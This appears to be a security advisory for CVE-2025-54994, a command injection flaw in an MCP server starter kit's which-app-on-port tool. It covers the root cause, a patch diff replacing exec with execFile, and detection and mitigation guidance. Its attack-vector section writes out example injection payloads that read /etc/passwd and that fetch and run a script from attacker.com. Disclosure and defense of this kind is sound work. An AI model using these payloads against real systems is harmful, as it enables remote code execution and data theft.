CVE-2025-54994: MCP Server Starter Kit RCE Vulnerability

CVE-2025-54994 Overview

CVE-2025-54994 is a command injection vulnerability affecting @akoskm/create-mcp-server-stdio, an MCP (Model Context Protocol) server starter kit that uses the StdioServerTransport. Prior to version 0.0.13, the MCP Server implementation is vulnerable to command injection attacks through its tool definition and implementation. The vulnerability exists in the which-app-on-port tool, which relies on Node.js child process API exec—an unsafe API when concatenated with untrusted user input.

Critical Impact
Remote attackers can execute arbitrary system commands on servers running vulnerable versions of @akoskm/create-mcp-server-stdio by exploiting the which-app-on-port tool's improper input handling, potentially leading to complete system compromise.

Affected Products

@akoskm/create-mcp-server-stdio versions prior to 0.0.13
Systems running MCP servers built with the vulnerable starter kit
Applications utilizing the which-app-on-port tool functionality

Discovery Timeline

September 8, 2025 - CVE-2025-54994 published to NVD
September 9, 2025 - Last updated in NVD database

Technical Details for CVE-2025-54994

Vulnerability Analysis

This command injection vulnerability (CWE-78) stems from the unsafe use of the Node.js exec() function in the MCP server's which-app-on-port tool implementation. The exec() function spawns a shell and passes the command string directly to it, making it inherently dangerous when user-supplied input is concatenated into the command string without proper sanitization.

When a user provides a port number to the which-app-on-port tool, the input is directly concatenated into a shell command. An attacker can craft malicious input containing shell metacharacters (such as ;, |, &&, or backticks) to break out of the intended command context and execute arbitrary commands on the underlying system.

Root Cause

The root cause is the use of Node.js child_process.exec() API with unsanitized user input. The exec() function interprets the entire command string through a shell, allowing shell metacharacters to be processed. This design pattern creates a direct path for command injection when any portion of the command string originates from untrusted sources. The vulnerable code in src/index.ts (lines 24-40) concatenates user input directly into shell commands without validation or escaping.

Attack Vector

The attack vector is network-based, requiring no authentication or user interaction. An attacker can send crafted requests to the MCP server's which-app-on-port tool with malicious payloads embedded in the port parameter. For example, instead of providing a legitimate port number like 3000, an attacker could inject payloads such as 3000; cat /etc/passwd or 3000 && wget http://attacker.com/malware.sh | sh to execute arbitrary commands with the privileges of the Node.js process.

typescript

 import { McpServer, ResourceTemplate } from "@modelcontextprotocol/sdk/server/mcp.js";
 import { StdioServerTransport } from "@modelcontextprotocol/sdk/server/stdio.js";
 import { z } from "zod";
-import { exec } from "child_process";
+import { execFile } from "child_process";
 // Create an MCP server
 const server = new McpServer({
   name: "Demo",

Source: GitHub Commit Details

The patch replaces the vulnerable exec() function with execFile(), which does not spawn a shell and treats arguments as literal values, preventing command injection attacks.

Detection Methods for CVE-2025-54994

Indicators of Compromise

Unusual process spawning from Node.js MCP server processes
Unexpected outbound network connections from MCP server instances
System commands executed with unexpected arguments containing shell metacharacters
Log entries showing malformed port values with shell operators (;, |, &&, $())

Detection Strategies

Monitor Node.js process trees for child processes that deviate from expected behavior (commands other than port lookup utilities)
Implement application-layer logging to capture all inputs to the which-app-on-port tool
Deploy runtime application self-protection (RASP) solutions to detect command injection attempts
Use network intrusion detection systems to identify suspicious payloads in MCP server traffic

Monitoring Recommendations

Enable verbose logging on MCP server instances to capture tool invocations and parameters
Set up alerts for any MCP server process spawning unexpected child processes
Monitor for file system changes in directories where the MCP server operates
Implement anomaly detection for network traffic patterns from MCP server hosts

How to Mitigate CVE-2025-54994

Immediate Actions Required

Upgrade @akoskm/create-mcp-server-stdio to version 0.0.13 or later immediately
Audit any custom code built on this starter kit for similar patterns using exec() with user input
Implement input validation to ensure port parameters contain only numeric values
Consider temporarily disabling the which-app-on-port tool if immediate patching is not possible

Patch Information

The vulnerability has been fixed in version 0.0.13 of @akoskm/create-mcp-server-stdio. The fix replaces the unsafe exec() function with execFile(), which does not interpret shell metacharacters. Organizations should update their dependencies using:

bash

npm update @akoskm/create-mcp-server-stdio

For detailed patch information, refer to the GitHub Security Advisory and the commit implementing the fix.

Workarounds

Implement strict input validation to reject any non-numeric characters in port parameters
Use network segmentation to limit the exposure of MCP server instances
Apply the principle of least privilege to the MCP server process user account
Deploy web application firewalls (WAF) with command injection detection rules